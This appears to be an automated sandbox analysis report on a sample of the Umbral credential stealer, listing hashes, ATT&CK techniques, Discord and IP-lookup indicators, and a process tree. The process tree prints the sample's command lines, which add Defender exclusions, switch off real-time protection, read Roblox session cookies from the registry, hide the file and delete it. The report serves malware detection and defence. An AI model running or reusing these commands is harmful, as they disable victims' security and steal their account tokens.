umbral | 93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24/01/2025, 04:48

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General

Target

93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe
Size

229KB
MD5

9b2b8035bbaf9833d6e847234ee5023e
SHA1

6ec9dad5457a128c8efdf78aba65ea587ed9af0e
SHA256

93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c
SHA512

e54fdf9a2f86abf67db4cadefd77f89b08753f8c6a6fc6856975e9dcad9f0fa58e33c6bb763536ff5c663befc3ac6b241bfd3ce48c33ebd659b96a9c470fbde5
SSDEEP

6144:tloZM+rIkd8g+EtXHkv/iD4XkeKxfEY3Zmfh8ItBNb8e1mv0i:voZ1L+EP8XkeKxfEY3Zmfh8It3S

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1688-1-0x0000020A3D010000-0x0000020A3D050000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4484	powershell.exe
4840	powershell.exe
1596	powershell.exe
3180	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
20	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4724	cmd.exe
2428	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1432	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2428	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4484	powershell.exe
4484	powershell.exe
1596	powershell.exe
1596	powershell.exe
3180	powershell.exe
3180	powershell.exe
2136	powershell.exe
2136	powershell.exe
4840	powershell.exe
4840	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeIncreaseQuotaPrivilege	4308	wmic.exe
Token: SeSecurityPrivilege	4308	wmic.exe
Token: SeTakeOwnershipPrivilege	4308	wmic.exe
Token: SeLoadDriverPrivilege	4308	wmic.exe
Token: SeSystemProfilePrivilege	4308	wmic.exe
Token: SeSystemtimePrivilege	4308	wmic.exe
Token: SeProfSingleProcessPrivilege	4308	wmic.exe
Token: SeIncBasePriorityPrivilege	4308	wmic.exe
Token: SeCreatePagefilePrivilege	4308	wmic.exe
Token: SeBackupPrivilege	4308	wmic.exe
Token: SeRestorePrivilege	4308	wmic.exe
Token: SeShutdownPrivilege	4308	wmic.exe
Token: SeDebugPrivilege	4308	wmic.exe
Token: SeSystemEnvironmentPrivilege	4308	wmic.exe
Token: SeRemoteShutdownPrivilege	4308	wmic.exe
Token: SeUndockPrivilege	4308	wmic.exe
Token: SeManageVolumePrivilege	4308	wmic.exe
Token: 33	4308	wmic.exe
Token: 34	4308	wmic.exe
Token: 35	4308	wmic.exe
Token: 36	4308	wmic.exe
Token: SeIncreaseQuotaPrivilege	4308	wmic.exe
Token: SeSecurityPrivilege	4308	wmic.exe
Token: SeTakeOwnershipPrivilege	4308	wmic.exe
Token: SeLoadDriverPrivilege	4308	wmic.exe
Token: SeSystemProfilePrivilege	4308	wmic.exe
Token: SeSystemtimePrivilege	4308	wmic.exe
Token: SeProfSingleProcessPrivilege	4308	wmic.exe
Token: SeIncBasePriorityPrivilege	4308	wmic.exe
Token: SeCreatePagefilePrivilege	4308	wmic.exe
Token: SeBackupPrivilege	4308	wmic.exe
Token: SeRestorePrivilege	4308	wmic.exe
Token: SeShutdownPrivilege	4308	wmic.exe
Token: SeDebugPrivilege	4308	wmic.exe
Token: SeSystemEnvironmentPrivilege	4308	wmic.exe
Token: SeRemoteShutdownPrivilege	4308	wmic.exe
Token: SeUndockPrivilege	4308	wmic.exe
Token: SeManageVolumePrivilege	4308	wmic.exe
Token: 33	4308	wmic.exe
Token: 34	4308	wmic.exe
Token: 35	4308	wmic.exe
Token: 36	4308	wmic.exe
Token: SeIncreaseQuotaPrivilege	4056	wmic.exe
Token: SeSecurityPrivilege	4056	wmic.exe
Token: SeTakeOwnershipPrivilege	4056	wmic.exe
Token: SeLoadDriverPrivilege	4056	wmic.exe
Token: SeSystemProfilePrivilege	4056	wmic.exe
Token: SeSystemtimePrivilege	4056	wmic.exe
Token: SeProfSingleProcessPrivilege	4056	wmic.exe
Token: SeIncBasePriorityPrivilege	4056	wmic.exe
Token: SeCreatePagefilePrivilege	4056	wmic.exe
Token: SeBackupPrivilege	4056	wmic.exe
Token: SeRestorePrivilege	4056	wmic.exe
Token: SeShutdownPrivilege	4056	wmic.exe
Token: SeDebugPrivilege	4056	wmic.exe
Token: SeSystemEnvironmentPrivilege	4056	wmic.exe
Token: SeRemoteShutdownPrivilege	4056	wmic.exe
Token: SeUndockPrivilege	4056	wmic.exe
Token: SeManageVolumePrivilege	4056	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 4320	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	83
PID 1688 wrote to memory of 4320	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	83
PID 1688 wrote to memory of 4484	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	85
PID 1688 wrote to memory of 4484	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	85
PID 1688 wrote to memory of 1596	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	87
PID 1688 wrote to memory of 1596	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	87
PID 1688 wrote to memory of 3180	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	89
PID 1688 wrote to memory of 3180	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	89
PID 1688 wrote to memory of 2136	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	91
PID 1688 wrote to memory of 2136	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	91
PID 1688 wrote to memory of 4308	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	94
PID 1688 wrote to memory of 4308	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	94
PID 1688 wrote to memory of 4056	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	98
PID 1688 wrote to memory of 4056	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	98
PID 1688 wrote to memory of 2992	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	100
PID 1688 wrote to memory of 2992	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	100
PID 1688 wrote to memory of 4840	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	102
PID 1688 wrote to memory of 4840	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	102
PID 1688 wrote to memory of 1432	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	104
PID 1688 wrote to memory of 1432	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	104
PID 1688 wrote to memory of 4724	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	108
PID 1688 wrote to memory of 4724	1688	93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe	108
PID 4724 wrote to memory of 2428	4724	cmd.exe	110
PID 4724 wrote to memory of 2428	4724	cmd.exe	110

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4320	attrib.exe

C:\Users\Admin\AppData\Local\Temp\93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe
"C:\Users\Admin\AppData\Local\Temp\93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe"
  2⤵
  - Views/modifies file attributes
  PID:4320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4308
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4056
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4840
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1432
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\93ee149a8f5066e8547d306a306dcf25a145ced96466882dec36af362ca05e8c.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1a58f982c18490e622e00d4eb75ace5a

SHA1
60c30527b74659ecf09089a5a7c02a1df9a71b65

SHA256
4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

SHA512
ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
369b89e3801fb1c3df3a7527516edea6

SHA1
1dcf07320cbe1911d7138f4287b20e90e8f2bc25

SHA256
18b86f2340bc1547cc647693777444a0788551baee5989b0f8b186b8109f291c

SHA512
c819d002f42629c97a26f4e81c10a4c8a6b20a4bbfa269306675badaa7828740b80fe6c31945fc6f4c06ad812c1f04c6cc37ac62cb59ed9c0af22a819b259d87

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_suxcglsp.123.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1596-31-0x0000013BF4A10000-0x0000013BF4C2C000-memory.dmp

Filesize
2.1MB

Download
memory/1688-1-0x0000020A3D010000-0x0000020A3D050000-memory.dmp

Filesize
256KB

Download
memory/1688-72-0x0000020A575D0000-0x0000020A575DA000-memory.dmp

Filesize
40KB

Download
memory/1688-2-0x00007FFB10F40000-0x00007FFB11A01000-memory.dmp

Filesize
10.8MB

Download
memory/1688-0-0x00007FFB10F43000-0x00007FFB10F45000-memory.dmp

Filesize
8KB

Download
memory/1688-93-0x00007FFB10F40000-0x00007FFB11A01000-memory.dmp

Filesize
10.8MB

Download
memory/1688-34-0x0000020A57710000-0x0000020A57760000-memory.dmp

Filesize
320KB

Download
memory/1688-33-0x0000020A57790000-0x0000020A57806000-memory.dmp

Filesize
472KB

Download
memory/1688-35-0x0000020A57860000-0x0000020A5787E000-memory.dmp

Filesize
120KB

Download
memory/1688-73-0x0000020A57760000-0x0000020A57772000-memory.dmp

Filesize
72KB

Download
memory/4484-14-0x00007FFB10F40000-0x00007FFB11A01000-memory.dmp

Filesize
10.8MB

Download
memory/4484-18-0x00007FFB10F40000-0x00007FFB11A01000-memory.dmp

Filesize
10.8MB

Download
memory/4484-3-0x000001C124890000-0x000001C1248B2000-memory.dmp

Filesize
136KB

Download
memory/4484-13-0x00007FFB10F40000-0x00007FFB11A01000-memory.dmp

Filesize
10.8MB

Download
memory/4484-15-0x00007FFB10F40000-0x00007FFB11A01000-memory.dmp

Filesize
10.8MB

Download